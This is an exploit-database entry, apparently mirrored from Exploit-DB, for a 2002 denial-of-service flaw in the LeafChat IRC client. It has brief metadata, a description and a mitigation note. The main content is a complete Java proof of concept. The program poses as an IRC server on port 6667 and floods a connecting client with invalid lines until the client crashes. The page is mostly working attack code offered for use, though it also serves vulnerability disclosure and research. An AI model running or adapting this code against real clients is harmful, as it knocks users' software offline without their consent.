header-logo
Suggest Exploit
vendor:
LeafChat
by:
MDMA Crew
7.5
CVSS
HIGH
Denial of Service
400
CWE
Product Name: LeafChat
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: YES
Related CWE: N/A
CPE: a:leafdigital:leafchat
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Java
2002

LeafChat IRC Client Denial of Service Vulnerability

If invalid data is sent repeatedly from a IRC server to a LeafDigital LeafChat IRC client, the program will stop responding. Restarting the application will be required in order to regain normal functionality.

Mitigation:

LeafChat users should ensure that they are running the latest version of the software, which is not vulnerable to this attack.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/1396/info

If invalid data is sent repeatedly from a IRC server to a LeafDigital LeafChat IRC client, the program will stop responding. Restarting the application will be required in order to regain normal functionality. 

/* The MDMA Crew's Proof-of-concept code for the DoS affecting LeafChat
 *
 * When the LeafChat IRC client recieves invalid data from the server, it
 * displays a dialog box with an error message. Should the server rapidly
 * send invalid messages, the system soon becomes dangerously low in
 * resources and commits harikiri. :-)
 *
 * Vendor Info: www.leafdigital.com/Software/leafChat
 * Crew Info: www.mdma.za.net || wizdumb@mdma.za.net
 */

import java.io.*;
import java.net.*;

class leafMeAlone {

// Line below will have to be changed for Microsoft's Java VM - oops ;P
static void main(String[] args) throws IOException, UnknownHostException {

    ServerSocket shervshoq = null;
    PrintWriter white = null;
    Socket shmoeshoq = null;

    shervshoq = new ServerSocket(6667);
    System.out.print("Now listening on Port 6667... ");

    try {
      shmoeshoq = shervshoq.accept();
      white = new PrintWriter(shmoeshoq.getOutputStream(), true);
    } catch (IOException e) {
      System.out.println("Errors accepting connection, y0");
      System.exit(1); }

    System.out.print("Connection recieved\nCrashing client... ");
    for (;;) {
      white.println(".");
      if (white.checkError()) {
      System.out.println("Crashed");
      break; } } } }